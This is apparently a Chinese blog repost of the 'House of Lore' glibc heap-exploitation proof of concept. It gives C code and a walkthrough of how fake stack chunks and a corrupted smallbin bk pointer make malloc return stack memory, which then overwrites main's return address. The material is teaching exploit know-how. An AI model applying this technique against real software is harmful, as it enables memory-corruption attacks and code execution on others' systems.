8.house_of_lore

源代码

  1 /*
  2 Advanced exploitation of the House of Lore - Malloc Maleficarum.
  3 This PoC take care also of the glibc hardening of smallbin corruption.
  4 
  5 [ ... ]
  6 
  7 else
  8     {
  9       bck = victim->bk;
 10     if (__glibc_unlikely (bck->fd != victim)){
 11 
 12                   errstr = "malloc(): smallbin double linked list corrupted";
 13                   goto errout;
 14                 }
 15 
 16        set_inuse_bit_at_offset (victim, nb);
 17        bin->bk = bck;
 18        bck->fd = bin;
 19 
 20        [ ... ]
 21 
 22 */
 23 
 24 #include <stdio.h>
 25 #include <stdlib.h>
 26 #include <string.h>
 27 #include <stdint.h>
 28 
 29 void jackpot(){ puts("Nice jump d00d"); exit(0); }
 30 
 31 int main(int argc, char * argv[]){
 32 
 33 
 34   intptr_t* stack_buffer_1[4] = {0};
 35   intptr_t* stack_buffer_2[3] = {0};
 36 
 37   fprintf(stderr, "\nWelcome to the House of Lore\n");
 38   fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
 39   fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");
 40 
 41   fprintf(stderr, "Allocating the victim chunk\n");
 42   intptr_t *victim = malloc(100);
 43   fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
 44 
 45   // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
 46   intptr_t *victim_chunk = victim-2;
 47 
 48   fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
 49   fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
 50 
 51   fprintf(stderr, "Create a fake chunk on the stack\n");
 52   fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
 53          "in second to the last malloc, which putting stack address on smallbin list\n");
 54   stack_buffer_1[0] = 0;
 55   stack_buffer_1[1] = 0;
 56   stack_buffer_1[2] = victim_chunk;
 57 
 58   fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
 59          "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
 60          "chunk on stack");
 61   stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
 62   stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
 63   
 64   fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
 65          "the small one during the free()\n");
 66   void *p5 = malloc(1000);
 67   fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
 68 
 69 
 70   fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
 71   free((void*)victim);
 72 
 73   fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
 74   fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
 75   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
 76 
 77   fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
 78   fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
 79 
 80   void *p2 = malloc(1200);
 81   fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
 82 
 83   fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
 84   fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
 85   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
 86 
 87   //------------VULNERABILITY-----------
 88 
 89   fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
 90 
 91   victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
 92 
 93   //------------------------------------
 94 
 95   fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
 96   fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
 97 
 98   void *p3 = malloc(100);
 99 
100 
101   fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
102   char *p4 = malloc(100);
103   fprintf(stderr, "p4 = malloc(100)\n");
104 
105   fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
106          stack_buffer_2[2]);
107 
108   fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
109   intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
110   memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
111 }

运行结果

 

首先申请一个100字节的堆 victim

栈上申请两块内存,伪造2块堆stack1和stack2

修改fd,bk

形成 stack1->fd=victim  stack1->bk=stack2

  stack2->fd=stack1

再申请一块大的堆,防止释放后和top chunk合并

此时堆分布

之后释放victim

victim先进入0x70的fastbin

此时victim的fd,bk都为null

然后又申请了一个1200字节的堆,无法被已释放的堆处理

victim从fastbin移入small bin中

此时再将victim的bk赋值为stack1

与之前伪造的2个堆形成一个双向链表

victim->stack1->stack2

然后申请一次100字节的堆,victim从small bin中取出

victim的bk所指向的伪造的堆stack1被移入small bin链表头

再次申请一个100字节的堆p4,即将stack1取出使用,这里甚至不需要修改伪造堆的size

此时small bin中还剩stack2,如果再申请一个100字节的内存,又会取出stack2

p4被分配到了stack1,即在栈中,输入内容即可覆盖栈中数据

这里将之前准备好的函数jackpot地址覆盖了本来main的返回地址

由于直接覆盖了返回地址,并没有破坏canary,所以这里不会报错

main函数结束后即执行了jackpot函数

 这里利用了small bin的链表特性,一个堆取出后,将bk所指的堆移入链表头

下次即使用这个bk所指的堆,只需修改伪造堆的bk,fd形成链表即可,不需要修改size

转载于:https://www.cnblogs.com/pfcode/p/10991737.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值